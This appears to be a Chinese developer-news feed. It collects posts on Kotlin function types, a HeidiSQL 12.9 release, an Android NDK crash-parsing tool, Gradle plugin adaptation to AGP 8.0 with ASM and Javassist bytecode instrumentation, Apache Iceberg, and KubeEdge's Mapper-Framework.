    // 默认情况下,推断的函数类型没有接收者。
    val toInt: (String) -> Int = String::toInt

    // 显式指定变量类型。
    val toIntExplicit: String.() -> Int = String::toInt
}

调用函数类型实例

函数类型的值可以通过其 invoke(...) 操作符调用:f.invoke(x) 或直接 f(x)

如果该值具有接收者类型,则应将接收者对象作为第一个参数传递。

另一种调用带有接收者的函数类型值的方法是在其前面加上接收者对象,就像该值是扩展函数一样:1.foo(2)

val stringPlus: (String, String) -> String = String::plus
val intPlus: Int.(Int) -> Int = Int::plus

println(stringPlus.invoke("<-", "->"))
println(stringPlus("Hello, ", "world!"))

println(intPlus.invoke(1, 1))
println(intPlus(1, 2))
println(2.intPlus(3))

by xvch at January 21, 2025 07:13 AM

oschina news project

HeidiSQL 12.9 发布

HeidiSQL 12.9 现已发布。32 位版本现在已从安装程序中删除,它们仍可构建和下载,但仅限于 portable versions。更多详情可参阅 issue #2071

HeidiSQL 是一个功能非常强大的数据库客户端软件,采用 Delphi 开发,支持 Windows 操作系统。支持 MySQL、MariaDB、Percona Server 和微软的 SQL Server。

此版本具体更新内容如下:

3rd party updates:

新内容:

  • 显示 string literals 的编辑器提示,显示其字符长度
  • 显示 routine tokens 的编辑器提示,包括常规参数、注释和正文
  • 在 table token hint 中显示带有数据类型的表列(截图
  • Issue #2066:支持 MSOLEDBSQL ADO providers,其版本后缀为 MS SQL(截图
  • Issue #1975:添加首选项以跳过选择 SQL reformatter 程序的对话框(截图
  • 当鼠标悬停在 token 上时,显示 SQL 函数、数据类型、表和过程的编辑器提示
  • 使用 completion proposal 时在提示面板中显示 function description text
  • Issue #2046:在 PostgreSQL 上支持 4 种不同的 SSL 验证级别
  • Issue #2035:在 MariaDB 10.5.9+ 上支持新的 REPLICA MONITOR 管理员权限
  • Issue #2009:table tools 对话框中数据生成工具的基本实现(截图
  • Issue #2004:在数据库树和选项卡中加载并显示 SQLite triggers
  • CSV import:添加复选框选项,以便在导入成功后保持对话框打开,这样用户就可以用更少的点击次数处理多个文件(截图
  • ……

错误修复和增强功能:

  • 修复某些 VirtualTree 上 OnDragDrop 事件的不兼容参数
  • Code readability:在 table editor 中使用命名常量作为列索引
  • Issue #1777:在表格编辑器中使用不同图标显示功能键部分
  • Issue #2071
    • 从安装程序中删除 32 位模式
    • 更新许可文件中的版权年份
    • Issue #1296:删除 VC redistributable package(将由下载页面上的说明替换)
  • Issue #2071:通过 InnoSetup 安装程序提供 3 种新语言
  • 修复 table editor 中粘贴的列不显示的问题
  • Issue #2063 和 #2002:过滤后重新绘制数据库树
  • Issue #2035:将 REPLICA MONITOR 权限重命名为 SLAVE MONITOR,这似乎是 MariaDB 中的首选名
  • ……

更多详情可查看:https://www.heidisql.com/forum.php?t=43858

by 来源: OSCHINA at January 21, 2025 07:05 AM

juejin android

Native 崩溃解析工具

NDK Tools Library

一个Python工具库,用于简化Android NDK崩溃分析。该库通过封装NDK工具来简化操作,支持解析.dmp文件和logcat崩溃日志,并支持灵活配置参数。支持多平台(Linux、Windows、macOS),并提供Shell和Batch脚本便于使用。

功能特性

  • 解析.dmp文件:使用ndk-stack工具解析崩溃堆栈

  • 解析原生崩溃日志:从logcat输出中提取原生崩溃信息

  • 支持灵活配置:配置符号表目录、日志文件路径、NDK路径等

  • 跨平台支持:支持Linux、Windows和macOS

  • 简化指令:提供Shell和Batch脚本,简化用户操作

  • Build ID 验证:可选的 Build ID 验证功能,默认关闭

项目结构


ndk_tools/

├── ndk_tools/

│ ├── __init__.py # 初始化模块

│ ├── ndk_stack_parser.py # NDK堆栈解析模块

│ ├── logcat_parser.py # logcat崩溃日志解析模块

│ ├── config.py # 配置文件

│ └── utils.py # 工具类

├── scripts/

│ ├── ndk_parse_dmp.sh # 解析.dmp文件的Shell脚本

│ ├── ndk_parse_logcat.sh # 解析logcat崩溃日志的Shell脚本

│ ├── ndk_parse_dmp.bat # 解析.dmp文件的Batch脚本

│ └── ndk_parse_logcat.bat # 解析logcat崩溃日志的Batch脚本

│ ├── and_setup_env.sh # 环境设置脚本 (Linux/macOS)

│ ├── setup_env.bat # 环境设置脚本 (Windows)

│ ├── quick_analyze.sh # 快速分析脚本 (Linux/macOS)

│ └── quick_analyze.bat # 快速分析脚本 (Windows)

安装要求

  • Python 3.7+

  • Android NDK (需要设置ANDROID_NDK_HOME环境变量)

环境变量配置

工具库使用以下环境变量:

  • ANDROID_NDK_HOME: Android NDK的安装路径(必需,用于符号化)

  • SYMBOLS_DIR: 符号表目录的路径(可选,也可通过命令行选项指定)

  • OUTPUT_DIR: 输出文件的目录路径(可选)

环境设置方式

提供了两种设置环境变量的方式:

1. 使用环境设置脚本(推荐)

在 Linux/macOS 上:


# 设置环境变量

source and_setup_env.sh -n /path/to/ndk [-s /path/to/symbols] [-o /path/to/output]

  


# 示例

source and_setup_env.sh -n ~/Android/Sdk/ndk/25.1.8937393 -s ~/symbols -o ~/output

  


# 显示帮助信息

source and_setup_env.sh --help

在 Windows 上:


:: 设置环境变量

scripts\setup_env.bat -n C:\path\to\ndk [-s C:\path\to\symbols] [-o C:\path\to\output]

  


:: 示例

scripts\setup_env.bat -n C:\Android\Sdk\ndk\25.1.8937393 -s C:\symbols -o C:\output

  


:: 显示帮助信息

scripts\setup_env.bat --help

2. 手动设置环境变量

# Linux/macOS

export ANDROID_NDK_HOME=/path/to/ndk

export SYMBOLS_DIR=/path/to/symbols

export OUTPUT_DIR=/path/to/output

  


# Windows

set ANDROID_NDK_HOME=C:\path\to\ndk

set SYMBOLS_DIR=C:\path\to\symbols

set OUTPUT_DIR=C:\path\to\output

使用方法

1. 使用Python API


from ndk_tools import NDKStackParser, LogcatParser, Config

  


# 创建配置

config = Config(

ndk_path="/path/to/ndk",

symbols_dir="/path/to/symbols",

output_dir="/path/to/output"

)

  


# 解析DMP文件

parser = NDKStackParser(config)

stack_trace = parser.parse_dump_file("crash.dmp")

print(stack_trace)

  


# 解析Logcat日志

logcat_parser = LogcatParser(

symbols_dir="/path/to/symbols",

ndk_path="/path/to/ndk",

output_dir="/path/to/output",

verify_build_id=False # 默认关闭 Build ID 验证

)

crash_info = logcat_parser.parse_logcat_file("logcat.txt")

if crash_info:

print(f"Process: {crash_info.process}")

print(f"Signal: {crash_info.signal}")

print(f"Signal Detail: {crash_info.signal_detail}")

print("Stack trace:")

for line in crash_info.stack_trace:

print(line)

2. 使用命令行脚本

快速分析脚本(推荐)

快速分析脚本会自动识别文件类型并调用相应的解析脚本。

在 Linux/macOS 上:


# 基本用法

./scripts/quick_analyze.sh crash.log

  


# 使用符号表

./scripts/quick_analyze.sh -s ~/symbols crash.log

  


# 指定 NDK 路径

./scripts/quick_analyze.sh -n ~/Android/Sdk/ndk/25.1.8937393 -s ~/symbols crash.log

  


# 指定输出目录

./scripts/quick_analyze.sh -o ~/output crash.log

  


# 显示帮助信息

./scripts/quick_analyze.sh --help

在 Windows 上:


:: 基本用法

scripts\quick_analyze.bat crash.log

  


:: 使用符号表

scripts\quick_analyze.bat -s C:\symbols crash.log

  


:: 指定 NDK 路径

scripts\quick_analyze.bat -n C:\Android\Sdk\ndk\25.1.8937393 -s C:\symbols crash.log

  


:: 指定输出目录

scripts\quick_analyze.bat -o C:\output crash.log

  


:: 显示帮助信息

scripts\quick_analyze.bat --help

单独使用解析脚本
解析Logcat日志

在Linux/macOS上:


# 基本用法

./scripts/ndk_parse_logcat.sh app_crash.log

  


# 使用符号表

./scripts/ndk_parse_logcat.sh -s /path/to/symbols app_crash.log

# 或

./scripts/ndk_parse_logcat.sh --symbols /path/to/symbols app_crash.log

  


# 使用环境变量设置符号表

export SYMBOLS_DIR=/path/to/symbols

./scripts/ndk_parse_logcat.sh app_crash.log

  


# 显示帮助信息

./scripts/ndk_parse_logcat.sh --help

在Windows上:


:: 基本用法

scripts\ndk_parse_logcat.bat app_crash.log

  


:: 使用符号表

scripts\ndk_parse_logcat.bat -s C:\path\to\symbols app_crash.log

:: 或

scripts\ndk_parse_logcat.bat --symbols C:\path\to\symbols app_crash.log

  


:: 使用环境变量设置符号表

set SYMBOLS_DIR=C:\path\to\symbols

scripts\ndk_parse_logcat.bat app_crash.log

  


:: 显示帮助信息

scripts\ndk_parse_logcat.bat --help

命令行选项

quick_analyze 脚本选项


选项:

-h, --help 显示帮助信息并退出

-s, --symbols <dir> 指定符号表目录的路径

-n, --ndk <path> 指定Android NDK路径

-o, --output <dir> 指定输出目录的路径

--no-verify-build-id 禁用 Build ID 验证

ndk_parse_logcat 脚本选项


选项:

-h, --help 显示帮助信息并退出

-s, --symbols <dir> 指定符号表目录的路径

如果未提供,将使用SYMBOLS_DIR环境变量

-o, --output <dir> 指定输出目录的路径

--verify-build-id 启用 Build ID 验证

错误处理

工具库会在以下情况抛出异常:

  • 环境变量未设置

  • NDK路径不存在

  • 符号表目录不存在

  • DMP文件不存在或无法解析

  • ndk-stack工具执行失败

退出代码:

  • 0: 成功

  • 1: 参数无效

  • 2: 文件未找到

  • 3: 符号表目录未找到

Native-Toolkit

by 九天奇缘 at January 21, 2025 06:40 AM

AGP8.0 插件适配中 学到的一些知识点

最近一直在做agp8.0+的插件适配,涉及到不少知识点,踩到不少坑,特此记录下

gradle和gradle-api的区别

image.png

我们在插件开发的时候 如果你看官方的demo 你会发现他们现在都是给你gradle-api 这个依赖,但实际开发的时候我们会发现还会直接用gradle 依赖比较好

简单来说gradle-api 是官方给你的一个简易依赖,对外暴露的api更少,但是更加稳定,agp本身的api变化 会在这个gradle-api依赖中抹平(是不是有一点像booster做的事?)

但是这个gradle-api 对外暴露的api太少了,相信我 至少短期内你不会想直接用gradle-api依赖的

建议插件开发时 直接使用gradle的依赖

任务的输入和输出

查询agp中某个task的具体实现

./gradlew help --task <taskName> 

例如:

./gradlew help --task dexBuilderDefaultNewSignDebug

image.png

这样可以方便的让我们找到task对应的代码实现位置在哪里 方便定位问题

任务可以没有输入 但是不能没有输出

输入类型和输出类型 不是11对应的

仅支持输入,不支持输出的类型

  • String或者任何实现了JDK中 序列化接口Ser的类
  • Java的ClassPath

仅支持输出 不支持输入的类型

  • Map<String,File>
  • Iterable

一些重要且特殊的注解说明

  • @input 一般string类型或者序列化的java类就用这个,很多人会把这个和internal作用搞混
  • @internal 既不是输入属性也不是输出属性, 也不影响updateToWhen的判定
  • @PathSensitive 搭配一些input注解使用 告诉gradle 的 输入文件 路径变化的敏感等级用的,一共是4个级别 (经常用的就这2个,还有2个就不写了)absoulte 任何路径更改 都会触发update,none 忽略所有路径变更 只考虑内容
  • @optional 这个就是和部分注解搭配使用时,跳过文件检测,不传也可以正确执行task
  • @Incremental 搭配 inputfiles和inputDir 使用,可以通过filechanges 来获取文件变化的细节

任务的状态

  • executed 执行
  • up-to-date 没有执行 一般是输入输出没改变,大家增量构建时 很多任务都是这个状态 剩下的 from-cache skipped no-source 也是代表任务不执行的状态,只是原因不同

FileCollection和FileTree的区别

更多细节参见这里 简单来说就是FileCollection没有保存文件的树形结构,而FileTree保存了

image.png

Artifacts API

这个api 在agp8.0以后 会变得非常重要,在8.0之前 我们做agp插件开发的时候 通常的逻辑是是 先找到agp默认的2个任务 比如 a和c

然后在ac之间插入你自定义的任务b,具体插入方式为 c.dependsOn(b) b.dependsOn(a)

然而这套机制在agp8.0之后 完全失效了, 你在onVarint回调里 是没办法拿到agp的默认任务的 这样就是导致了 你无法插入任务到agp中


val androidComponents = target.extensions.getByType(AndroidComponentsExtension::class.java)
androidComponents.onVariants {
}    
    

目前还不知道怎么绕过这套机制,如果有知道的可以评论区留言。

谷歌在8.0以后推荐的方式 是希望你利用Artifacts API 来完成你的任务编排

8.0之后 如何修改manifest文件?

首先还是定义一下我们的task


abstract class  DeleteSmsPermissionForNewSignAppTask : DefaultTask() {

    @get:InputFile
    @get:PathSensitive(PathSensitivity.NONE)
    abstract val mergedManifest:RegularFileProperty


    @get:OutputFile
    abstract val updatedManifest: RegularFileProperty

    @TaskAction
    fun taskAction() {

        val file  = mergedManifest.get().asFile

       
        val document = SAXReader().read(file)
        // 随便更改你的xml 就可以了

        OutputFormat.createPrettyPrint().apply {
            encoding = "UTF-8"
            XMLWriter(OutputStreamWriter(FileOutputStream(updatedManifest.get().asFile)), this).apply {
                write(document)
                flush()
                close()
            }
        }

    }
}
    

最关键的就是如何构建你的task关系,在agp8.0之前我们需要找到mergeManifest 这个task 然后插入 agp8.0之后 会简单很多

variant.artifacts.use(modifyTask)
    .wiredWithFiles(
        DeleteSmsPermissionForNewSignAppTask::mergedManifest,
        DeleteSmsPermissionForNewSignAppTask::updatedManifest
    ).toTransform(SingleArtifact.MERGED_MANIFEST)

SingleArtifact

可以看下 有多少种单个的Arifact 可以供我们使用

image.png

  • AAR 可获取AAR
  • APK 可获取APK
  • Bundle 可获取AAB
  • MERGED_MANIFEST 可获取合并后的manifest文件

其他类型 大家有兴趣看看注释即可

其他类型的Artifact

image.png

这个我们一般不会用到它,大家知道有这么个东西即可

下面这个就不一样了

image.png

这个ScopedArtifact 在 8.0以后的字节码 插件中会扮演重要地位

这个我们后面再说,大家只要谨记,agp8.0以后 你要想插入任务到agp之中 暂时只能支持这几种了。 确实很不方便,比如8.0之前 你要做图片压缩的时候 你插入一个任务到mergeRes之后就可以了

但是现在没有Resources 这个 artifact 这就导致 我们无法插入任务。

aritfact 处理的几种形式

varint.artifacts.use(xxxTask).wiredWithFiles/wireDirectories()/wiredWith()
    .toTransform/toCreate/toAppendTo

具体你最终用到的artifact 支持哪种 wired 取决于 源码中实现的接口

image.png

遗留问题

artifact 目前还没支持 mergeResources 这个任务, 这会导致 在8.0+中 你如果想做编译期对图片资源压缩之类的任务就没办法做了

有知道的可以评论区留言说下方案

8.0+中的 字节码处理

asm

整体来说 asm的字节码修改 代码写起来 比 8.0之前要简单方便很多,只有当你处理类似像arouter这样的代码的时候会麻烦一些(需要先全盘扫描再做处理),路由插件的asm 8.0 适配如何做 可以看我之前的文章即可。

这里介绍下普通字节码修改的的写法

variant.instrumentation.transformClassesWith(
    OkHttpClassVisitorFactory::class.java,
    InstrumentationScope.ALL
) {}
    
abstract class OkHttpClassVisitorFactory : AsmClassVisitorFactory<InstrumentationParameters.None> {
    override fun createClassVisitor(classContext: ClassContext, nextClassVisitor: ClassVisitor): ClassVisitor {
        if (classContext.currentClassData.className != "okhttp3.OkHttpClient") {
            return nextClassVisitor
        }

        return object : ClassNode(ASM7) {
            override fun visitEnd() {
                super.visitEnd()
                methods?.find {
                    it.name == "<init>" && it.desc != "()V"
                }.let {
                    it?.instructions
                            ?.iterator()
                            ?.asIterable()
                            ?.filterIsInstance(FieldInsnNode::class.java)
                            ?.filter { fieldInsnNode ->
                                fieldInsnNode.opcode == PUTFIELD &&
                                        fieldInsnNode.owner == "okhttp3/OkHttpClient" &&
                                        fieldInsnNode.name == "networkInterceptors" &&
                                        fieldInsnNode.desc == "Ljava/util/List;"
                            }?.forEach { fieldInsnNode ->
                                it.instructions.insert(fieldInsnNode, createOkHttpClientInsnList())
                            }
                }
                accept(nextClassVisitor)
            }
        }

    }

    override fun isInstrumentable(classData: ClassData): Boolean {
        return true
    }

    private fun createOkHttpClientInsnList(): InsnList {
        return with(InsnList()) {
            // 插入application 拦截器
            add(VarInsnNode(ALOAD, 0))

            add(
                    MethodInsnNode(
                            INVOKESTATIC,
                            "com/xxx/xxxx/hook/OkHttpHook",
                            "addInterceptor",
                            "(Lokhttp3/OkHttpClient;)V",
                            false,
                    ),
            )
            this
        }
    }

    fun <T> Iterator<T>.asIterable(): Iterable<T> = Iterable { this }

}

javaassist

js修改字节码会复杂一些,可以参考下面的写法

这个例子稍微复杂一点 其实主要也是想办法把android.jar 加入到js的环境中,否则部分字节码修改会失败

val taskProvider = target.project.tasks.register<ModifyGlideClassesTask>("${variant.name}ModifyGlideClasses") {
    // 必须把android.jar  加入到 ClassPool 中
    bootClasspath = androidComponents.sdkComponents.bootClasspath
}
variant.artifacts.forScope(ScopedArtifacts.Scope.ALL)
    .use(taskProvider)
    .toTransform(
        ScopedArtifact.CLASSES,
        ModifyGlideClassesTask::allJars,
        ModifyGlideClassesTask::allDirectories,
        ModifyGlideClassesTask::output
    )
/**
 * 修改glide的 gifdrawable了
 * gifdrawable 对draw方法进行try catch
 */
abstract class ModifyGlideClassesTask : DefaultTask() {

    @get:Internal
    abstract var bootClasspath: Provider<List<RegularFile>>

    @get:InputFiles
    abstract val allJars: ListProperty<RegularFile>

    @get:InputFiles
    abstract val allDirectories: ListProperty<Directory>

    @get:OutputFile
    abstract val output: RegularFileProperty

    @Internal
    val jarPaths = mutableSetOf<String>()

    companion object {
        const val GLIDE_HOOK_SWITCH = "image.helper.glide.gifdrawble.HookSwitch"

        //GifDrawable的全名 包含他所属的包名
        const val GLIDE_GIF_CLASS_NAME = "com.bumptech.glide.load.resource.gif.GifDrawable"

        //要修改的是GifDrawable的 draw方法
        const val METHOD_NAME_DRAW = "draw"

        //新方法命名为tryDraw
        const val NEW_METHOD_NAME_TRY_DRAW = "tryDraw"
    }

    @TaskAction
    fun taskAction() {

        val pool = ClassPool(ClassPool.getDefault())
//        (allJars.get() + allDirectories.get()).map { it.asFile }.forEach {
//            pool.appendClassPath(it.canonicalPath)
//        }

        // 不要遗漏添加android.jar 到ClassPool中
        bootClasspath.get().map(RegularFile::getAsFile).forEach {
            pool.appendClassPath(it.canonicalPath)
        }

        val jarOutput = JarOutputStream(
            BufferedOutputStream(
                FileOutputStream(
                    output.get().asFile
                )
            )
        )
        // copy classes from jar files without modification
        allJars.get().forEach outer@{ file ->
            val jarFile = JarFile(file.asFile)
            jarFile.entries().iterator().forEach { jarEntry ->
                if (jarEntry.name == "com/bumptech/glide/load/resource/gif/GifDrawable.class") {
                    val jarInputStream = jarFile.getInputStream(jarEntry)
                    val klass = pool.makeClass(jarInputStream)
                    // 能走到这 就证明找到 GifDrawable这个class了 ,此时我们直接取获取draw方法
                    val drawMethod: CtMethod = klass.getDeclaredMethod(METHOD_NAME_DRAW)
                    println("HelpThirdClassTransform :找到draw方法了")
                    //复制一个名为try-draw的新方法
                    val newMethod: CtMethod = CtNewMethod.copy(drawMethod, NEW_METHOD_NAME_TRY_DRAW, klass, null)
                    klass.addMethod(newMethod)
                    //这里就将原来的draw方法的内容 替换成 调用我们的tryDraw方法 并在调用tryDraw的地方 加上try catch代码块
                    val sb = StringBuffer()
                    sb.append("{try{")
                    sb.append(NEW_METHOD_NAME_TRY_DRAW)
                    //这里要传递canvas这个参数 注意javaassist的写法
                    sb.append("($1)")
                    sb.append(";}catch(Exception e){  android.util.Log.e("GifDrawable", "draw", e);}")
                    sb.append("}")
                    //改写我们的draw方法
                    drawMethod.setBody(sb.toString())
                    jarInputStream.close()
                    jarOutput.writeEntity(jarEntry.name, klass.toBytecode())
                    return@forEach
                }

                jarOutput.writeEntity(jarEntry.name, jarFile.getInputStream(jarEntry))
            }
            jarFile.close()
        }
        // Iterating through class files from directories
        // Looking for SomeSource.class to add generated interface and instrument with additional output in
        // toString methods (in our case it's just System.out)
        allDirectories.get().forEach { directory ->
            directory.asFile.walk().forEach { file ->
                if (file.isFile) {
                    // if class is not SomeSource.class - just copy it to output without modification
                    val relativePath = directory.asFile.toURI().relativize(file.toURI()).getPath()
                    jarOutput.writeEntity(relativePath.replace(File.separatorChar, '/'), file.inputStream())
                }
            }
        }
        jarOutput.close()
    }

    // writeEntity methods check if the file has name that already exists in output jar
    private fun JarOutputStream.writeEntity(name: String, inputStream: InputStream) {
        // check for duplication name first
        if (jarPaths.contains(name)) {
            printDuplicatedMessage(name)
        } else {
            putNextEntry(JarEntry(name))
            inputStream.copyTo(this)
            closeEntry()
            jarPaths.add(name)
        }
    }

    private fun JarOutputStream.writeEntity(relativePath: String, byteArray: ByteArray) {
        // check for duplication name first
        if (jarPaths.contains(relativePath)) {
            printDuplicatedMessage(relativePath)
        } else {
            putNextEntry(JarEntry(relativePath))
            write(byteArray)
            closeEntry()
            jarPaths.add(relativePath)
        }
    }

    private fun printDuplicatedMessage(name: String) =
        println("Cannot add ${name}, because output Jar already has file with the same name.")
}

by vivo高启强 at January 21, 2025 06:26 AM

juejin article

Apache Iceberg 在现代数据架构中的颠覆性影响

如今很多企业在数据海洋中挣扎,管理数据成了一项艰巨的任务。虽然像 Snowflake、Redshift 和 BigQuery 这样的传统数据仓库可以提供一定帮助,但费用通常不菲,还存在厂商锁定的问题。Apache Iceberg 作为数据领域的新星正在改变这一切。

除了节省成本,Iceberg 还有以下特性值得关注:

  • 数据结构化:将混乱的数据湖转变为结构化、可查询的资源。
  • 避免厂商锁定:避免被单一厂商的价格和限制束缚。
  • 多引擎兼容:为每个数据任务选择最佳工具,最大限度地提高效率和成本效益。
  • 面向未来的架构:适应不断发展的技术,无需痛苦的迁移。

在历史分析领域,像 SnowflakeRedshift 和 BigQuery 等平台早已是主流。然而,Apache Iceberg 正成为数据工程领域的热门话题。用户越来越多地将数据直接发送到 Iceberg 来构建湖仓,重新定义他们管理和查询数据的方式。

从本质上说,Iceberg 提供了多个变革性的能力,如模式演进(Schema evolution)、时间旅行(Time travel)、以及使用各种工具进行数据分析(兼容多种引擎)。这些功能在管理庞大数据集时是颠覆性的,同时也不仅仅是技术优势。采用 Iceberg 要求企业从战略上思考——从各个角度:成本、厂商独立性和未来的可扩展性。因此,Iceberg 的兴起不仅仅是由于技术因素,更主要的是体现了一种范式更迭(Paradigm shift),反映了企业在数据架构上更加开放、更加灵活以及面向未来的倾向。

1. Apache Iceberg 带来的变革性影响

尽管使用 Iceberg 面临多种挑战,采用它的企业仍在不断增长,这不仅是因为技术层面的原因,还因为它在业务上的变革性影响:

1.1 驾驭数据湖

没有 Iceberg 时,在 S3 上的原始数据文件中找到特定信息如同大海捞针。虽然像 AWS Athena这样的工具可以查询文件,但管理数据的结构(Schema)和访问控制(Access control)需要手动设置。Iceberg 可以将 S3 buckets 转变为结构化、可查询的数据集,加上适当的访问控制,兼容任何现代查询引擎。通过在 S3 上层使用 Iceberg,企业可以整合数据湖中不断增长且杂乱无序的数据,让全局分析触手可及。

1.2 摆脱厂商锁定

厂商锁定 (Vendor lock-in)是使用 Snowflake 这类专有系统的企业面临的重大问题。历史上,如果数据存储在 Snowflake 中,当 Snowflake 决定提高费用时,用户几乎没有讨价还价的能力。将数据迁移到另一个平台需要大量的努力,这使得 Snowflake 拥有很大的优势。而 Iceberg 广泛的兼容性则可以摆脱厂商锁定。存储在 Iceberg 格式中的数据可以被许多引擎查询,企业能够更有效地切换厂商、协商价格。例如,企业可以将 Iceberg 与Amazon EMR 或 Databricks 这样的云原生计算引擎配对,在数据需求变化时依然能够适应。这种灵活性不仅能够降低成本,还能保证公司的数据战略经得住时间考验,在不断变化的技术环境中保持敏捷。

1.3 多引擎兼容

不同的数据处理工具(engines)擅长不同的任务。Iceberg 支持多引擎,用户可以根据任务类型选择最合适的工具。例如,将 Iceberg 与 Snowflake 配对以处理复杂的分析查询(OLAP),与 DuckDB 配对进行轻量级分析。这类组合既节省成本,又不影响灵活性。其他查询引擎,如 Trino(用于联邦查询)、RisingWave(用于流处理)、LanceDB(用于向量搜索)、PuppyGraph(用于图形分析)等,提供了多场景下的低延迟查询能力,进一步丰富和提升了 Iceberg 生态系统。此外,借助多引擎兼容,企业将不再局限于单一技术,可以实现从交互式仪表板到实时流分析的多种高级功能。

1.4 多语言支持

Iceberg 支持多种编程语言,因此对跨职能团队具有强大吸引力。数据工程师可以使用 SQL;数据科学家可以利用 Python。在机器学习和人工智能方面,Iceberg 与 Python 工具的兼容性能够提供无缝的数据访问,助力模型训练和推理。此外,PyIceberg 等框架简化了 Python 集成,方便在 Python 环境直接进行复杂数据处理。团队还可以使用 Java 或 Scala 等语言,确保 Iceberg 无缝融入从后端系统到高级数据科学的多样化企业工作流程中。

2. 在 Iceberg 上构建未来的数据仓库

像 Apache Iceberg 这样的开放表格式标志着数据管理的未来。独特的灵活性与生态系统的兼容性让其成为专有系统有力的替代方案,为现代数据架构设定了新标准。

到 2025 年,我相信所有数据库都将发展成本质上以 Iceberg 格式存储数据的数据引擎。如何实现?在 RisingWave Labs,我们已坚定地朝着这一愿景迈进。RisingWave 是一种云原生流数据库,现提供对 Iceberg 表的全面支持,让用户能够无缝地存储和查询Iceberg格式的数据:

通过这一集成,RisingWave 用户可以轻松接入 Iceberg 生态系统,充分利用其开放且具有未来适应性的设计。用户可以灵活地使用任何引擎或编程语言与数据进行互动,确保在日益扩展的分析环境中保持兼容性。这是迈向真正开放和可互操作数据生态系统的重要一步。

3. 结语

Apache Iceberg 不仅是一项新技术,还标志着我们管理和利用数据方式的根本变革。通过倡导开放访问、灵活性和厂商独立性,Iceberg 让组织构建起真正具备未来适应性的数据架构。来自 Databricks、Snowflake 及 AWS 等行业巨头的支持进一步巩固了它作为现代数据工程基石的地位。随着数据领域的不断演进,Iceberg 为实现更开放、灵活和强大的未来铺平了道路。你准备好踏出这一步了吗?

4. 关于 RisingWave

RisingWave 是一款开源的分布式流处理数据库,旨在帮助用户降低实时应用的开发成本。RisingWave 采用存算分离架构,提供 Postgres-style 使用体验,具备比 Flink 高出 10 倍的性能以及更低的成本。

👨‍🔬加入 RW 社区,欢迎关注公众号:RisingWave中文开源社区

🧑‍💻想要了解和探索 RisingWave,欢迎浏览我们的官网:risingwave.com/

🔧快速上手 RisingWave,欢迎体验入门教程:github.com/risingwave

💻深入理解使用 RisingWave,欢迎阅读用户文档:zh-cn.risingwave.com/docs

by RisingWave中文开源社区 at January 21, 2025 06:22 AM

KubeEdge边缘设备管理系列(三):Mapper-Framework设计与实现

作者:王彬丞&杨志佳&刘家伟

针对新版本 Device-IoT 领域的更新,我们计划推出一系列的文章对这些特性进行详细的介绍,大致的文章大纲为:

  1. 基于物模型的设备管理 API 设计与实现
  2. DMI 数据面能力设计与实现
  3. Mapper 开发框架 Mapper-Framework 设计与实现
  4. 如何使用 Mapper 完成视频流数据处理
  5. 如何使用 Mapper 实现设备数据写入
  6. 如何从头开发一个 Mapper(以 modbus 为例) 

图片

在上一篇文章中,我们针对边缘设备海量数据管理,完成了 DMI 数据面能力增强,能够使用多种方式处理设备数据。在 KubeEdge 的实际设备管理中,设备管理插件 Mapper 需要实现 DMI 中的标准接口来完成自身向集群的注册以及设备的纳管,开发难度大。

因此,在v1.15.0版本中,为简化用户创建 Mapper 的流程,KubeEdge 推出了 Mapper 开发框架 Mapper-Framework,能够自动生成 Mapper 工程供用户使用,有效降低 Mapper 的开发门槛。

Mapper-Framework 框架简介

1.15版本中为简化用户创建 Mapper 的流程,提出 Mapper 开发框架 Mapper-Framework。Mapper-Framework 中集成了 DMI 管理面和数据面能力。

▍管理面提供的能力

Mapper-Framework 在管理面主要实现北向设备管理的能力,包括:

1、Mapper 向云端注册

2、云端向 Mapper 下发设备信息,并实现后续设备创建、更新、删除功能

3、预留南向的设备驱动接口

▍数据面提供的能力

Mapper-Framework 在数据面主要实现设备数据推送的能力,包括:

1、Mapper-Framework 数据面内置 HTTP 以及 MQTT 等协议,能够将设备数据推送至用户应用

2、Mapper-Framework 数据面内置 InfluxDB、Redis、TDengine、MySQL 数据库的数据推送方式,能够将设备数据推送至用户数据库中存储

3、Mapper-Framework 能够将设备数据上报云端

4、Mapper-Framework 提供 API 接口,供用户主动拉取设备数据

➤ Mapper-Framework 功能架构图如下图所示:

图片

用户可以根据 Mapper-Framework 自动生成 Mapper 工程,在生成的 Mapper 工程中已经预先集成上图中 Mapper 向集群注册自身的 upstream 流以及 EdgeCore 下发设备管理信息的 downstream 流,还内置集成 Mapper 推送设备数据的数据面能力。

用户在生成的 Mapper 工程中只需要自行实现设备驱动相关的功能,主要包含设备初始化、获取设备数据等,就可以完成对设备生命周期全流程管理。

Mapper-Framework 工作原理

用户使用 Mapper-Framework 实现自定义 Mapper 时,需要将 KubeEdge 的 Mapper-Framework 仓库[1] 克隆至本地,切换到合适的版本后在命令行中执行 make generate 命令,输入自定义 Mapper 的名称,就可以在上一级目录中找到自动生成的 Mapper 工程文件。

➤ 生成的 Mapper 工程结构如下:

├── cmd ------------------------ Main process.
│ └── main.go ------------------ Almost need not change.
├── config.yaml ---------------- Configuration file including DMI's grpc setting
├── data ----------------------- Publish data and database implementation layer, almost need not change
│ ├── dbmethod ----------------- Provider implement database interfaces to save data
│ │ ├── influxdb2 -------------- Implementation of Time Series Database(InfluxDB)
│ │ │ └── client.go  
│ │ └── redis  ----------------- Implementation of K/V Database(Redis)
│ │     └── client.go  
│ └── publish ------------------ Publisher implement push interfaces to push data,will add more protocols in the future
│     ├── http ----------------- HTTP client will push data to server
│     │ └── client.go  --------- 
│     └── mqtt ----------------- MQTT client will push data to broker
│         └── client.go  
├── device --------------------- Implementation device layer, almost need not change
│ ├── device.go ---------------- Device control, almost need not change
│ └── devicetwin.go ------------ Push twin data to EdgeCore, almost need not change
├── Dockerfile
├── driver --------------------- Device driver layer, complete TODO item in this 
│ ├── devicetype.go ------------ Refine the struct as your CRD
│ └── driver.go ---------------- Fill in the functions like getting data/setting register.
├── hack
│ └── make-rules
│     └── mapper.sh
└── Makefile

用户只需要实现其中 driver 设备驱动层的功能,填充 Mapper 的 config 配置文件即可实现完整功能的 Mapper。当 Mapper 被启动后,会通过 grpcClient 向 EdgeCore DMI 接口进行注册,EdgeCore 主要接收来自 cloud 端的 Device Model 与 Device Instance 信息,根据协议名将 Device Model 与 Device Instance 以列表的形式下发给 Mapper,由 Mapper 对设备进行管理。

